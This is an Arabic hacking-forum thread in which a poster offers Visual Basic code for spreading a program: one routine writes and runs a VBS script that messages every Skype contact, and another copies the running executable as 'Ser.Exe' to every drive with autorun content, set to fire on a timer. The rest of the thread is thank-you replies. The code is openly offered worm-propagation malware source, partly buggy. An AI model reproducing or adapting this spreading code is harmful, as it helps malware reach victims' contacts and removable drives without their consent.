1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : لوفي العراقي HACKER | المشاهدات : 335 | الردود : 15
حالة الموضوع:
مغلق
  1. لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    كيف الحال يااعضاء وزوار عراق تيم يارب الجميع بخير
    حبيت اطرح عليكم كود انتشار في ال
    Skype




    وكود الانتشار بال USB او جميع الاقراص


    تشغييييل تلقائي
    _________________________________________________--


    Skype_1

    كود:
    [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]  Sub SkypeSpread()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]If "%SKYPE%" = "True" Then[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Try[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim g As New StreamWriter(Environment.GetFolderPath(Environment .SpecialFolder.MyDocuments) & "\s4c.vbs")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.BaseStream.Seek(0, SeekOrigin.End)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("on error resume next")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.Client.Start()")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.Attach()")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("For Each KZN In Fruxr.Friends")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.SendMessage KZN.handle,""%IMMESSAGE%""")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("next")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.Close()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim p As New Process[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim ProcessProperties As New ProcessStartInfo[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]ProcessProperties.FileName = Environment.GetFolderPath(Environment.SpecialFolde r.MyDocuments) & "\s4c.vbs"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim myProcess As Process = Process.Start(ProcessProperties)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]myProcess.WaitForExit()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Threading.Thread.Sleep(5000)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]IO.File.Delete(Environment.GetFolderPath(Environme nt.SpecialFolder.MyDocuments) & "\s4c.vbs")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Catch ex As Exception[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]MsgBox(ex.ToString)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End Try[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End If[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End Sub[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]
    *=== تحديد كود ===*

    [FONT=tahoma, geneva, lucida, lucida grande, arial, helvetica, sans-serif]
    [/FONT]

    USB_2

    كود:
    [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]
    [/COLOR][/SIZE]
    
    [SIZE=6][COLOR=#c71585]Sub usb()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        'Coded By CaRlos / old Name Toto[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        'Www.dev-point.com/vb[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]       ' My Email : ########[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        ' اي خطا يجي تجاوزه واستمر في الكود[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        On Error Resume Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        ' يجلب جميع اسمء الاقراص[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        For Each x In IO.DriveInfo.GetDrives[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' يفصل بين كل اسم قرص بفاصلة ,[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim xx As String = x.ToString & ","[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' يقوم ب فصل جميع الاقراص  [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim s As String() = Split(xx, ",")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' اسم السيرفر[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim n As String = "Ser.Exe"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' محتوى ال اوتورن[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim run As String = ""[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "[AutoRun]" & vbNewLine[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "open=AutoRun.exe" & vbNewLine[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "icon=nameicon.ico"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' تدخيل اسماء الاقراص الى حلقة فور[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            For i = 0 To s.Length - 1[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                ' ينسخ البرنامج  الى  جميع الاقراص ويمكن استبدال Application.ExecutablePath بموقع السيرفر   [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                IO.File.Copy(Application.ExecutablePath, s(i) & n, True)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                ' يقوم بانشاء الاتورون بصيغة inf[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                IO.File.WriteAllText(s(i), run & "autorun.inf")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]    End Sub[/COLOR][/SIZE]
    
    [SIZE=6][COLOR=#c71585]
    *=== تحديد كود ===*





    في كود الUSB
    تضيف تايمر


    وتكتب


    كود:
    usb()
    *=== تحديد كود ===*
     
  2. عہۧلہۧي سہۧعہۧد عہۧمہۧران Developer

    الأنتساب:
    ‏12 يونيو 2015
    المشاركات:
    45
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    Facebook:
    رد: انتشار في USB و Skype و جميع الاقراص

    بارك الله فيك نورت المنتدى
     
  3. لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: انتشار في USB و Skype و جميع الاقراص

    شكرا للمرور حبيبي
     
  4. Mira Mrmr .::|| زهره منتدى عراق تيم ||::. مشرفات المنتدى

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    696
    الإعجابات المتلقاة:
    149
    نقاط الجائزة:
    105
    الجنس:
    أنثى
    الإقامة:
    Baghdad
    نظام التشغيل:
    windows 8.1
    Facebook:
    YouTube:
    رد: انتشار في USB و Skype و جميع الاقراص

    [​IMG]عاشت الايادي[​IMG]
    "ياريت تعديل الاكواد من قبل الاداره"
     
  5. جـعـفـر الـشـمـري DeveloPer Plus

    الأنتساب:
    ‏26 أغسطس 2015
    المشاركات:
    526
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    50
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: انتشار في USB و Skype و جميع الاقراص

    بارك الله بيك يا طيب
     
  6. آرْ بْيْ جْيْ ڪْرْڪْوْڪْ DeveloPer Plus

    الأنتساب:
    ‏24 أغسطس 2015
    المشاركات:
    147
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 8
    اللغة البرمجية:
    Visual Basic
    رد: انتشار في USB و Skype و جميع الاقراص

    عشت -كلك ابداع
     
  7. لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: انتشار في USB و Skype و جميع الاقراص

    • نورتيني <3
     
  8. لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: انتشار في USB و Skype و جميع الاقراص

    نورتني حب جعفر
     
  9. لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
  10. لوفي العراقي HACKER Developer

    الأنتساب:
    ‏3 أكتوبر 2015
    المشاركات:
    141
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: انتشار في USB و Skype و جميع الاقراص

    نورتني حب جعفر
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة